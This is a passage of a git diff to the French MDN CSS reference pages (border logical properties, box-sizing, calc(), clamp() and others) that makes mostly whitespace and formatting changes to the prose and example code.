directionnalité et de l'orientation du texte. Autrement dit, elle correspondra à {{cssxref("border-top-width")}}, {{cssxref("border-right-width")}}, {{cssxref("border-bottom-width")}} ou a {{cssxref("border-left-width")}} selon les valeurs des propriétés pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. +La propriété **`border-block-start-width`** définit la largeur de la bordure pour le côté de bloc du début « logique » de l'élément. Cette propriété logique correspond à l'une des propriétés physiques équivalentes en fonction du mode d'écriture, de la directionnalité et de l'orientation du texte. Autrement dit, elle correspondra à {{cssxref("border-top-width")}}, {{cssxref("border-right-width")}}, {{cssxref("border-bottom-width")}} ou a {{cssxref("border-left-width")}} selon les valeurs des propriétés pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. {{EmbedInteractiveExample("pages/css/border-block-start-width.html")}} diff --git a/files/fr/web/css/border-block-start/index.md b/files/fr/web/css/border-block-start/index.md index e57a88172e..044c96e803 100644 --- a/files/fr/web/css/border-block-start/index.md +++ b/files/fr/web/css/border-block-start/index.md @@ -14,7 +14,7 @@ La propriété **`border-block-start`** est une propriété raccourcie qui perme {{EmbedInteractiveExample("pages/css/border-block-start.html")}} -Cette propriété logique correspond à l'une des propriété physique équivalente selon le mode d'écriture, la directionnalité et l'orientation du texte. Autrement dit, elle correspond à l'une des propriétés {{cssxref("border-top")}}, {{cssxref("border-right")}}, {{cssxref("border-bottom")}} ou {{cssxref("border-left")}} selon les valeurs utilisées pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. +Cette propriété logique correspond à l'une des propriété physique équivalente selon le mode d'écriture, la directionnalité et l'orientation du texte. Autrement dit, elle correspond à l'une des propriétés {{cssxref("border-top")}}, {{cssxref("border-right")}}, {{cssxref("border-bottom")}} ou {{cssxref("border-left")}} selon les valeurs utilisées pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. On peut rapprocher cette propriété des autres propriétés logiques raccourcies définissant les bordures des autres côtés : diff --git a/files/fr/web/css/border-block-width/index.md b/files/fr/web/css/border-block-width/index.md index eda1599a20..df5fdd60b9 100644 --- a/files/fr/web/css/border-block-width/index.md +++ b/files/fr/web/css/border-block-width/index.md @@ -20,7 +20,7 @@ border-block-width: 5px; border-block-width: thick; ``` -The border width in the other dimension can be set with {{cssxref("border-inline-width")}}, which sets {{cssxref("border-block-inline-width")}}, and {{cssxref("border-block-inline-width")}}. +The border width in the other dimension can be set with {{cssxref("border-inline-width")}}, which sets {{cssxref("border-block-inline-width")}}, and {{cssxref("border-block-inline-width")}}. {{cssinfo}} @@ -77,5 +77,5 @@ div { ## Voir aussi -- Les propriétés physiques qui peuvent correspondre à cette propriété logique {{cssxref("border-top-width")}}, {{cssxref("border-right-width")}}, {{cssxref("border-bottom-width")}}, and {{cssxref("border-left-width")}} +- Les propriétés physiques qui peuvent correspondre à cette propriété logique {{cssxref("border-top-width")}}, {{cssxref("border-right-width")}}, {{cssxref("border-bottom-width")}}, and {{cssxref("border-left-width")}} - {{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}} diff --git a/files/fr/web/css/border-bottom-left-radius/index.md b/files/fr/web/css/border-bottom-left-radius/index.md index ce5f525dba..af1a59c803 100644 --- a/files/fr/web/css/border-bottom-left-radius/index.md +++ b/files/fr/web/css/border-bottom-left-radius/index.md @@ -88,10 +88,10 @@ div { ### HTML ```html - <div class="arc_cercle"></div> - <div class="arc_ellipse"></div> - <div class="pourcentage"></div> - <div class="rognage"></div> + <div class="arc_cercle"></div> + <div class="arc_ellipse"></div> + <div class="pourcentage"></div> + <div class="rognage"></div> ``` ### Résultat diff --git a/files/fr/web/css/border-bottom-right-radius/index.md b/files/fr/web/css/border-bottom-right-radius/index.md index 1295e667a0..105daffed7 100644 --- a/files/fr/web/css/border-bottom-right-radius/index.md +++ b/files/fr/web/css/border-bottom-right-radius/index.md @@ -88,10 +88,10 @@ div { ### HTML ```html - <div class="arc_cercle"></div> - <div class="arc_ellipse"></div> - <div class="pourcentage"></div> - <div class="rognage"></div> + <div class="arc_cercle"></div> + <div class="arc_ellipse"></div> + <div class="pourcentage"></div> + <div class="rognage"></div> ``` ### Résultat diff --git a/files/fr/web/css/border-end-end-radius/index.md b/files/fr/web/css/border-end-end-radius/index.md index 55f37d7d98..51d1a563c5 100644 --- a/files/fr/web/css/border-end-end-radius/index.md +++ b/files/fr/web/css/border-end-end-radius/index.md @@ -51,14 +51,14 @@ div { background-color: rebeccapurple; width: 120px; height: 120px; - border-end-end-radius: 10px; + border-end-end-radius: 10px; } .texteExemple { writing-mode: vertical-rl; padding: 10px; background-color: #fff; - border-end-end-radius: 10px; + border-end-end-radius: 10px; } ``` diff --git a/files/fr/web/css/border-end-start-radius/index.md b/files/fr/web/css/border-end-start-radius/index.md index 3278a15a09..3f0d1a5269 100644 --- a/files/fr/web/css/border-end-start-radius/index.md +++ b/files/fr/web/css/border-end-start-radius/index.md @@ -51,14 +51,14 @@ div { background-color: rebeccapurple; width: 120px; height: 120px; - border-end-start-radius: 10px; + border-end-start-radius: 10px; } .texteExemple { writing-mode: vertical-rl; padding: 10px; background-color: #fff; - border-end-start-radius: 10px; + border-end-start-radius: 10px; } ``` diff --git a/files/fr/web/css/border-inline-end-color/index.md b/files/fr/web/css/border-inline-end-color/index.md index a94c5a31da..8b5576c33f 100644 --- a/files/fr/web/css/border-inline-end-color/index.md +++ b/files/fr/web/css/border-inline-end-color/index.md @@ -10,7 +10,7 @@ translation_of: Web/CSS/border-inline-end-color --- {{CSSRef}}{{SeeCompatTable}} -La propriété **`border-inline-end-color`** définit la couleur de la bordure pour le côté de la fin de l'élément orienté dans l'axe de lecture. Elle correspond à une propriété physique selon le mode d'écriture de l'élément, sa directionnalité et l'orientation du texte. Autrement dit, elle correspond à l'une des propriétés {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}} ou {{cssxref("border-left-color")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. +La propriété **`border-inline-end-color`** définit la couleur de la bordure pour le côté de la fin de l'élément orienté dans l'axe de lecture. Elle correspond à une propriété physique selon le mode d'écriture de l'élément, sa directionnalité et l'orientation du texte. Autrement dit, elle correspond à l'une des propriétés {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}} ou {{cssxref("border-left-color")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. {{EmbedInteractiveExample("pages/css/border-inline-end-color.html")}} diff --git a/files/fr/web/css/border-inline-end-style/index.md b/files/fr/web/css/border-inline-end-style/index.md index 24047c8bd9..524d5e1abf 100644 --- a/files/fr/web/css/border-inline-end-style/index.md +++ b/files/fr/web/css/border-inline-end-style/index.md @@ -10,7 +10,7 @@ translation_of: Web/CSS/border-inline-end-style --- {{CSSRef}}{{SeeCompatTable}} -La propriété **`border-inline-end-style`** définit le style de la bordure utilisé pour le côté de la fin de l'élément dans l'axe de lecture. Cette propriété logique correspondra à une propriété physique selon le mode d'écriture, la directionnalité et l'orientation du texte. Autrement dit, elle correspond à {{cssxref("border-top-style")}}, {{cssxref("border-right-style")}}, {{cssxref("border-bottom-style")}} ou à {{cssxref("border-left-style")}} selon les valeurs de {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. +La propriété **`border-inline-end-style`** définit le style de la bordure utilisé pour le côté de la fin de l'élément dans l'axe de lecture. Cette propriété logique correspondra à une propriété physique selon le mode d'écriture, la directionnalité et l'orientation du texte. Autrement dit, elle correspond à {{cssxref("border-top-style")}}, {{cssxref("border-right-style")}}, {{cssxref("border-bottom-style")}} ou à {{cssxref("border-left-style")}} selon les valeurs de {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. {{EmbedInteractiveExample("pages/css/border-inline-end-style.html")}} diff --git a/files/fr/web/css/border-inline-end-width/index.md b/files/fr/web/css/border-inline-end-width/index.md index c348f4e6bc..73c3019d47 100644 --- a/files/fr/web/css/border-inline-end-width/index.md +++ b/files/fr/web/css/border-inline-end-width/index.md @@ -10,7 +10,7 @@ translation_of: Web/CSS/border-inline-end-width --- {{CSSRef}}{{SeeCompatTable}} -La propriété **`border-inline-end-width`** définit la largeur de la bordure pour le côté de la fin « logique » de l'élément. Cette propriété logique correspond à l'une des propriétés physiques équivalentes en fonction du mode d'écriture, de la directionnalité et de l'orientation du texte. Autrement dit, elle correspondra à {{cssxref("border-top-width")}}, {{cssxref("border-right-width")}}, {{cssxref("border-bottom-width")}} ou a {{cssxref("border-left-width")}} selon les valeurs des propriétés pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. +La propriété **`border-inline-end-width`** définit la largeur de la bordure pour le côté de la fin « logique » de l'élément. Cette propriété logique correspond à l'une des propriétés physiques équivalentes en fonction du mode d'écriture, de la directionnalité et de l'orientation du texte. Autrement dit, elle correspondra à {{cssxref("border-top-width")}}, {{cssxref("border-right-width")}}, {{cssxref("border-bottom-width")}} ou a {{cssxref("border-left-width")}} selon les valeurs des propriétés pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. {{EmbedInteractiveExample("pages/css/border-inline-end-width.html")}} diff --git a/files/fr/web/css/border-inline-end/index.md b/files/fr/web/css/border-inline-end/index.md index 46b6334f11..7d43dac070 100644 --- a/files/fr/web/css/border-inline-end/index.md +++ b/files/fr/web/css/border-inline-end/index.md @@ -14,7 +14,7 @@ La propriété **`border-inline-end`** est une propriété raccourcie qui permet {{EmbedInteractiveExample("pages/css/border-inline-end.html")}} -Cette propriété logique correspond à l'une des propriété physique équivalente selon le mode d'écriture, la directionnalité et l'orientation du texte. Autrement dit, elle correspond à l'une des propriétés {{cssxref("border-top")}}, {{cssxref("border-right")}}, {{cssxref("border-bottom")}} ou {{cssxref("border-left")}} selon les valeurs utilisées pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. +Cette propriété logique correspond à l'une des propriété physique équivalente selon le mode d'écriture, la directionnalité et l'orientation du texte. Autrement dit, elle correspond à l'une des propriétés {{cssxref("border-top")}}, {{cssxref("border-right")}}, {{cssxref("border-bottom")}} ou {{cssxref("border-left")}} selon les valeurs utilisées pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. On peut rapprocher cette propriété des autres propriétés logiques raccourcies définissant les bordures des autres côtés : diff --git a/files/fr/web/css/border-inline-start-color/index.md b/files/fr/web/css/border-inline-start-color/index.md index 36dd98be35..ce24365c8f 100644 --- a/files/fr/web/css/border-inline-start-color/index.md +++ b/files/fr/web/css/border-inline-start-color/index.md @@ -11,7 +11,7 @@ translation_of: Web/CSS/border-inline-start-color --- {{CSSRef}}{{SeeCompatTable}} -La propriété **`border-inline-start-color`** définit la couleur de la bordure pour le côté du début de l'élément orienté dans l'axe de lecture. Elle correspond à une propriété physique selon le mode d'écriture de l'élément, sa directionnalité et l'orientation du texte. Autrement dit, elle correspond à l'une des propriétés {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}} ou {{cssxref("border-left-color")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. +La propriété **`border-inline-start-color`** définit la couleur de la bordure pour le côté du début de l'élément orienté dans l'axe de lecture. Elle correspond à une propriété physique selon le mode d'écriture de l'élément, sa directionnalité et l'orientation du texte. Autrement dit, elle correspond à l'une des propriétés {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}} ou {{cssxref("border-left-color")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. {{EmbedInteractiveExample("pages/css/border-inline-start-color.html")}} diff --git a/files/fr/web/css/border-inline-start-style/index.md b/files/fr/web/css/border-inline-start-style/index.md index 77aa7d211a..99aba40c7b 100644 --- a/files/fr/web/css/border-inline-start-style/index.md +++ b/files/fr/web/css/border-inline-start-style/index.md @@ -10,7 +10,7 @@ translation_of: Web/CSS/border-inline-start-style --- {{CSSRef}}{{SeeCompatTable}} -La propriété **`border-inline-start-style`** définit le style de la bordure utilisé pour le côté du début de l'élément dans l'axe de lecture. Cette propriété logique correspondra à une propriété physique selon le mode d'écriture, la directionnalité et l'orientation du texte. Autrement dit, elle correspond à {{cssxref("border-top-style")}}, {{cssxref("border-right-style")}}, {{cssxref("border-bottom-style")}} ou à {{cssxref("border-left-style")}} selon les valeurs de {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. +La propriété **`border-inline-start-style`** définit le style de la bordure utilisé pour le côté du début de l'élément dans l'axe de lecture. Cette propriété logique correspondra à une propriété physique selon le mode d'écriture, la directionnalité et l'orientation du texte. Autrement dit, elle correspond à {{cssxref("border-top-style")}}, {{cssxref("border-right-style")}}, {{cssxref("border-bottom-style")}} ou à {{cssxref("border-left-style")}} selon les valeurs de {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. {{EmbedInteractiveExample("pages/css/border-inline-start-style.html")}} diff --git a/files/fr/web/css/border-inline-start-width/index.md b/files/fr/web/css/border-inline-start-width/index.md index abbb5ca252..88c3a08115 100644 --- a/files/fr/web/css/border-inline-start-width/index.md +++ b/files/fr/web/css/border-inline-start-width/index.md @@ -11,7 +11,7 @@ translation_of: Web/CSS/border-inline-start-width --- {{CSSRef}}{{SeeCompatTable}} -La propriété **`border-inline-start-width`** définit la largeur de la bordure pour le côté du début « logique » de l'élément. Cette propriété logique correspond à l'une des propriétés physiques équivalentes en fonction du mode d'écriture, de la directionnalité et de l'orientation du texte. Autrement dit, elle correspondra à {{cssxref("border-top-width")}}, {{cssxref("border-right-width")}}, {{cssxref("border-bottom-width")}} ou a {{cssxref("border-left-width")}} selon les valeurs des propriétés pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. +La propriété **`border-inline-start-width`** définit la largeur de la bordure pour le côté du début « logique » de l'élément. Cette propriété logique correspond à l'une des propriétés physiques équivalentes en fonction du mode d'écriture, de la directionnalité et de l'orientation du texte. Autrement dit, elle correspondra à {{cssxref("border-top-width")}}, {{cssxref("border-right-width")}}, {{cssxref("border-bottom-width")}} ou a {{cssxref("border-left-width")}} selon les valeurs des propriétés pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. {{EmbedInteractiveExample("pages/css/border-inline-start-width.html")}} diff --git a/files/fr/web/css/border-inline-width/index.md b/files/fr/web/css/border-inline-width/index.md index 79285d5a85..2deb0c5d71 100644 --- a/files/fr/web/css/border-inline-width/index.md +++ b/files/fr/web/css/border-inline-width/index.md @@ -20,7 +20,7 @@ border-inline-width: 5px; border-inline-width: thick; ``` -The border width in the other dimension can be set with {{cssxref("border-block-width")}}, which sets {{cssxref("border-block-start-width")}}, and {{cssxref("border-block-end-width")}}. +The border width in the other dimension can be set with {{cssxref("border-block-width")}}, which sets {{cssxref("border-block-start-width")}}, and {{cssxref("border-block-end-width")}}. ## Syntaxe @@ -77,5 +77,5 @@ div { ## Voir aussi -- Les propriétés physiques qui peuvent correspondre à cette propriété logique {{cssxref("border-top-width")}}, {{cssxref("border-right-width")}}, {{cssxref("border-bottom-width")}}, and {{cssxref("border-left-width")}} +- Les propriétés physiques qui peuvent correspondre à cette propriété logique {{cssxref("border-top-width")}}, {{cssxref("border-right-width")}}, {{cssxref("border-bottom-width")}}, and {{cssxref("border-left-width")}} - {{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}} diff --git a/files/fr/web/css/border-spacing/index.md b/files/fr/web/css/border-spacing/index.md index 20248d7b61..80257a448b 100644 --- a/files/fr/web/css/border-spacing/index.md +++ b/files/fr/web/css/border-spacing/index.md @@ -14,7 +14,7 @@ La propriété **`border-spacing`** définit la distance qu'il y a entre les bor {{EmbedInteractiveExample("pages/css/border-spacing.html")}} -La valeur de `border-spacing` est également utilisée le long du bord extérieur du tableau, où la distance entre la bordure du tableau et les cellules dans la première/dernière colonne ou ligne est la somme du `border-spacing` approprié (horizontal ou vertical) et du {{cssxref("padding")}} correspondant (top, right, bottom ou left). +La valeur de `border-spacing` est également utilisée le long du bord extérieur du tableau, où la distance entre la bordure du tableau et les cellules dans la première/dernière colonne ou ligne est la somme du `border-spacing` approprié (horizontal ou vertical) et du {{cssxref("padding")}} correspondant (top, right, bottom ou left). > **Note :** La propriété `border-spacing` équivaut à l'attribut déprécié `cellspacing` de l'élément `<table>`, sauf qu'il possède une seconde valeur optionnelle qui peut être utilisée pour définir différents espacements horizontaux et verticaux. @@ -62,7 +62,7 @@ table { td { border: 1px solid #000; - padding: 5px; + padding: 5px; } .unevaleur { diff --git a/files/fr/web/css/border-start-end-radius/index.md b/files/fr/web/css/border-start-end-radius/index.md index 8be51ce81f..8270ffcd1b 100644 --- a/files/fr/web/css/border-start-end-radius/index.md +++ b/files/fr/web/css/border-start-end-radius/index.md @@ -51,14 +51,14 @@ div { background-color: rebeccapurple; width: 120px; height: 120px; - border-start-end-radius: 10px; + border-start-end-radius: 10px; } .texteExemple { writing-mode: vertical-rl; padding: 10px; background-color: #fff; - border-start-end-radius: 10px; + border-start-end-radius: 10px; } ``` diff --git a/files/fr/web/css/border-start-start-radius/index.md b/files/fr/web/css/border-start-start-radius/index.md index 6396962872..13812605cc 100644 --- a/files/fr/web/css/border-start-start-radius/index.md +++ b/files/fr/web/css/border-start-start-radius/index.md @@ -51,14 +51,14 @@ div { background-color: rebeccapurple; width: 120px; height: 120px; - border-start-start-radius: 10px; + border-start-start-radius: 10px; } .texteExemple { writing-mode: vertical-rl; padding: 10px; background-color: #fff; - border-start-start-radius: 10px; + border-start-start-radius: 10px; } ``` diff --git a/files/fr/web/css/border-top-left-radius/index.md b/files/fr/web/css/border-top-left-radius/index.md index c6de181fc3..41f804e617 100644 --- a/files/fr/web/css/border-top-left-radius/index.md +++ b/files/fr/web/css/border-top-left-radius/index.md @@ -83,10 +83,10 @@ div { ### HTML ```html - <div class="arc_cercle"></div> - <div class="arc_ellipse"></div> - <div class="pourcentage"></div> - <div class="rognage"></div> + <div class="arc_cercle"></div> + <div class="arc_ellipse"></div> + <div class="pourcentage"></div> + <div class="rognage"></div> ``` ### Résultat diff --git a/files/fr/web/css/border-top-right-radius/index.md b/files/fr/web/css/border-top-right-radius/index.md index 1032da0ec7..691b9bfc7f 100644 --- a/files/fr/web/css/border-top-right-radius/index.md +++ b/files/fr/web/css/border-top-right-radius/index.md @@ -85,10 +85,10 @@ div { ### HTML ```html - <div class="arc_cercle"></div> - <div class="arc_ellipse"></div> - <div class="pourcentage"></div> - <div class="rognage"></div> + <div class="arc_cercle"></div> + <div class="arc_ellipse"></div> + <div class="pourcentage"></div> + <div class="rognage"></div> ``` ### Résultat diff --git a/files/fr/web/css/border-width/index.md b/files/fr/web/css/border-width/index.md index b4a0b769d6..cf552c7a8b 100644 --- a/files/fr/web/css/border-width/index.md +++ b/files/fr/web/css/border-width/index.md @@ -126,7 +126,7 @@ La propriété `border-width` peut être définie avec une, deux, trois ou quatr } p { - width: auto; + width: auto; margin: 0.25em; padding: 0.25em; } diff --git a/files/fr/web/css/bottom/index.md b/files/fr/web/css/bottom/index.md index ff56016ccf..9cc24e6f45 100644 --- a/files/fr/web/css/bottom/index.md +++ b/files/fr/web/css/bottom/index.md @@ -11,7 +11,7 @@ translation_of: Web/CSS/bottom La propriété **`bottom`** contribue à la définition de l'emplacement vertical des [éléments positionnés](/fr/docs/Web/CSS/position). Elle n'a aucun effet pour les éléments non-positionnés. -{{EmbedInteractiveExample("pages/css/bottom.html")}}Pour les **éléments positionnés de façon absolue**, c'est-à-dire ceux dont la valeur de la propriété {{cssxref("position")}} vaut `absolute` ou `fixed`, la propriété `bottom` définit la distance entre le bord bas de la marge de l'élément et le bord bas du bloc qui contient l'élément. +{{EmbedInteractiveExample("pages/css/bottom.html")}}Pour les **éléments positionnés de façon absolue**, c'est-à-dire ceux dont la valeur de la propriété {{cssxref("position")}} vaut `absolute` ou `fixed`, la propriété `bottom` définit la distance entre le bord bas de la marge de l'élément et le bord bas du bloc qui contient l'élément. Pour les **éléments positionnés de façon relative**, c'est-à-dire ceux dont la valeur de propriété {{cssxref("position")}} est `relative`, la propriété `bottom` définit la distance dont le bord bas de l'élément est déplacé au-dessus de sa position normale. diff --git a/files/fr/web/css/box-orient/index.md b/files/fr/web/css/box-orient/index.md index 2ca254e1d1..eb3568c30f 100644 --- a/files/fr/web/css/box-orient/index.md +++ b/files/fr/web/css/box-orient/index.md @@ -29,7 +29,7 @@ box-orient: initial; box-orient: unset; ``` -Ainsi, les éléments XUL {{XULElem("box")}} et {{XULElem("hbox")}} disposent leurs contenus horizontalement par défaut alors que {{XULElem("vbox")}} organise son contenu de façon verticale par défaut. +Ainsi, les éléments XUL {{XULElem("box")}} et {{XULElem("hbox")}} disposent leurs contenus horizontalement par défaut alors que {{XULElem("vbox")}} organise son contenu de façon verticale par défaut. Les éléments HTML disposent leurs contenus selon l'axe _inline_ par défaut. Cette propriété CSS ne s'applique qu'aux éléments HTML pour lesquels la propriété {{cssxref("display")}} vaut {{cssxref("box")}} ou {{cssxref("inline-box")}}. diff --git a/files/fr/web/css/box-pack/index.md b/files/fr/web/css/box-pack/index.md index ac0ce20858..4fba78cd7a 100644 --- a/files/fr/web/css/box-pack/index.md +++ b/files/fr/web/css/box-pack/index.md @@ -77,8 +77,8 @@ div.exemple { -webkit-box-align: center; /* WebKit */ /* On groupe les éléments fils en bas de la boîte */ - -moz-box-pack: end; /* Mozilla */ - -webkit-box-pack: end; /* WebKit */ + -moz-box-pack: end; /* Mozilla */ + -webkit-box-pack: end; /* WebKit */ } div.exemple p { @@ -108,7 +108,7 @@ Le « début » et la « fin » de la boîte dépendent de l'orientation et de l <table class="standard-table"> <tbody> <tr> - <th> </th> + <th></th> <th><strong>Normal</strong></th> <th><strong>Inverse</strong></th> </tr> diff --git a/files/fr/web/css/box-sizing/index.md b/files/fr/web/css/box-sizing/index.md index 02c3527212..bca6e68f6b 100644 --- a/files/fr/web/css/box-sizing/index.md +++ b/files/fr/web/css/box-sizing/index.md @@ -29,7 +29,7 @@ La propriété `box-sizing` peut être utilisée afin d'ajuster ce comportement - `content-box` est la valeur par défaut et correspond au comportement par défaut décrit ci-avant. Si on définit un élément avec une largeur de 100 pixels, la boîte de contenu de cet élément mesurera 100 pixels de large et la largeur de la bordure et/ou du remplissage sera alors ajoutée pour constituer la largeur finalement affichée. - `border-box` indique au navigateur de prendre en compte la bordure et le remplissage dans la valeur définie pour la largeur et la hauteur. Autrement dit, si on définit un élément avec une largeur de 100 pixels, ces 100 pixels inclueront la bordure et le remplissage éventuellement ajoutés et c'est le contenu de la boîte qui sera compressé pour absorber cette largeur supplémentaire. Cela permet généralement de simplifier le dimensionnement des éléments. -> **Note :** Il est souvent utile de définir `box-sizing` à `border-box` aux éléments de mise en page. Cela facilite grandement la gestion de la taille des éléments et élimine généralement un certain nombre d'écueils que vous pouvez rencontrer lors de la mise en page de votre contenu. D'autre part, lors de l'utilisation de la `position: relative` ou `position: absolute`, l'utilisation de `box-sizing: content-box` permet aux valeurs de positionnement d'être relatives au contenu, et indépendantes des changements de taille des bordures et de la taille de la marge interne, ce qui est parfois souhaitable. +> **Note :** Il est souvent utile de définir `box-sizing` à `border-box` aux éléments de mise en page. Cela facilite grandement la gestion de la taille des éléments et élimine généralement un certain nombre d'écueils que vous pouvez rencontrer lors de la mise en page de votre contenu. D'autre part, lors de l'utilisation de la `position: relative` ou `position: absolute`, l'utilisation de `box-sizing: content-box` permet aux valeurs de positionnement d'être relatives au contenu, et indépendantes des changements de taille des bordures et de la taille de la marge interne, ce qui est parfois souhaitable. ## Syntaxe @@ -49,7 +49,7 @@ La propriété `box-sizing` peut être définie avec l'un des mots-clés suivant ### Valeurs - `content-box` - - : C'est la valeur initiale et la valeur par défaut, spécifiée dans le standard CSS. Les propriétés {{cssxref("width")}} et {{cssxref("height")}} sont mesurées en incluant le contenu, mais pas le remplissage, la bordure, la marge extérieure ou intérieure. Les dimensions de l'élément sont donc calculées à partir de la hauteur et de la largeur du contenu (on ne tient pas compte de la bordure ou du remplissage (_padding_)). Ainsi, `.box {width: 350px; border:10px solid black;}` fournira une boîte dont la largeur vaut `370px`. + - : C'est la valeur initiale et la valeur par défaut, spécifiée dans le standard CSS. Les propriétés {{cssxref("width")}} et {{cssxref("height")}} sont mesurées en incluant le contenu, mais pas le remplissage, la bordure, la marge extérieure ou intérieure. Les dimensions de l'élément sont donc calculées à partir de la hauteur et de la largeur du contenu (on ne tient pas compte de la bordure ou du remplissage (_padding_)). Ainsi, `.box {width: 350px; border:10px solid black;}` fournira une boîte dont la largeur vaut `370px`. - `border-box` - : Les propriétés {{cssxref("width")}} et {{cssxref("height")}} incluent le contenu, le remplissage (_padding_), la bordure, mais pas la marge. C'est le [modèle de boîte](/fr/docs/CSS/Modèle_de_boîte) utilisé par Internet Explorer lorsque le document est en mode de compatibilité (Quirks). La boîte de contenu ne peut pas être négative et est ramenée à 0 si nécessaire, il est donc impossible d'utiliser `border-box` pour faire disparaître l'élément. Les dimensions de l'élément sont calculées comme la somme de la bordure, du remplissage (_padding_) et du contenu. diff --git a/files/fr/web/css/calc()/index.md b/files/fr/web/css/calc()/index.md index 1131d1c309..514e951b1a 100644 --- a/files/fr/web/css/calc()/index.md +++ b/files/fr/web/css/calc()/index.md @@ -10,7 +10,7 @@ translation_of: Web/CSS/calc() --- {{CSSRef}} -La fonction **`calc()`** peut être utilisée à n'importe quel endroit où une {{cssxref("<length>")}}, {{cssxref("<frequency>")}}, {{cssxref("<angle>")}}, {{cssxref("<time>")}}, {{cssxref("<number>")}}, {{cssxref("<percentage>")}} ou {{cssxref("<integer>")}} est nécessaire. Grâce à `calc()`, il est possible de réaliser des calculs pour déterminer la valeur d'une propriété CSS. +La fonction **`calc()`** peut être utilisée à n'importe quel endroit où une {{cssxref("<length>")}}, {{cssxref("<frequency>")}}, {{cssxref("<angle>")}}, {{cssxref("<time>")}}, {{cssxref("<number>")}}, {{cssxref("<percentage>")}} ou {{cssxref("<integer>")}} est nécessaire. Grâce à `calc()`, il est possible de réaliser des calculs pour déterminer la valeur d'une propriété CSS. ```css /* property: calc(expression) */ @@ -39,7 +39,7 @@ L'opérande dans l'expression peut utiliser n'importe quelle syntaxe de longueur - Une division par zéro aboutit à une erreur qui est générée par le parseur HTML. - Les opérateurs `+` et `-` **doivent toujours être entouré d'espaces**. Par exemple l'opérande de `calc(50% -8px)` sera interprété comme une valeur en pourcentage suivie d'une longueur négative, l'expression est invalide. L'opérande de `calc(50% - 8px)` est une valeur en pourcentage suivie d'un signe moins et d'une longueur. Et ainsi, `calc(8px + -50%)` est interprété comme une longueur suivi d'un signe plus et d'un pourcentage négatif. - Les opérateurs `*` et `/` ne nécessitent pas d'espaces, mais les ajouter pour conserver la cohérence est recommandé. -- Les expressions mathématiques manipulant des pourcentages pour les hauteurs et largeurs de colonnes d'un tableau, de groupes de colonne, de lignes d'un tableau ou de groupes de lignes contribuant à un tableau organisé de façon automatique ou en disposition fixe pourront être traitées comme si c'était `auto` qui avait été utilisé. +- Les expressions mathématiques manipulant des pourcentages pour les hauteurs et largeurs de colonnes d'un tableau, de groupes de colonne, de lignes d'un tableau ou de groupes de lignes contribuant à un tableau organisé de façon automatique ou en disposition fixe pourront être traitées comme si c'était `auto` qui avait été utilisé. - Il est possible d'imbriquer des fonctions `calc()`, auquel cas, les appels « internes » sont considérés comme des parenthèses. ### Syntaxe formelle @@ -50,7 +50,7 @@ L'opérande dans l'expression peut utiliser n'importe quelle syntaxe de longueur ### Positionner un objet sur l’écran avec une marge -`calc()` rend le positionnement des objets facile en définissant une marge. Dans cet exemple, le CSS crée une bannière qui s'étend sur toute la fenêtre, avec un espace de 40 pixels entre chaque bout de la bannière et les bords de la fenêtre : +`calc()` rend le positionnement des objets facile en définissant une marge. Dans cet exemple, le CSS crée une bannière qui s'étend sur toute la fenêtre, avec un espace de 40 pixels entre chaque bout de la bannière et les bords de la fenêtre : ```css .banniere { diff --git a/files/fr/web/css/child_combinator/index.md b/files/fr/web/css/child_combinator/index.md index b53d3eda68..8ad93c987f 100644 --- a/files/fr/web/css/child_combinator/index.md +++ b/files/fr/web/css/child_combinator/index.md @@ -60,7 +60,7 @@ div > span { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------- | ------------------------------------ | -------------------- | -| {{SpecName('CSS4 Selectors', '#child-combinators', 'child combinator')}} | {{Spec2('CSS4 Selectors')}} | | +| {{SpecName('CSS4 Selectors', '#child-combinators', 'child combinator')}} | {{Spec2('CSS4 Selectors')}} | | | {{SpecName('CSS3 Selectors', '#child-combinators', 'child combinators')}} | {{Spec2('CSS3 Selectors')}} | Aucune modification. | | {{SpecName('CSS2.1', 'selector.html#child-selectors', 'child selectors')}} | {{Spec2('CSS2.1')}} | Définition initiale. | diff --git a/files/fr/web/css/clamp()/index.md b/files/fr/web/css/clamp()/index.md index f9b2c755f8..f692d1920f 100644 --- a/files/fr/web/css/clamp()/index.md +++ b/files/fr/web/css/clamp()/index.md @@ -9,9 +9,9 @@ translation_of: Web/CSS/clamp() --- {{CSSRef}} -La fonction CSS **`clamp()`** permet de ramener (d'écrêter) une valeur entre deux bornes inférieure et supérieure. Cette fonction utilise trois paramètres : une valeur minimale, la valeur à 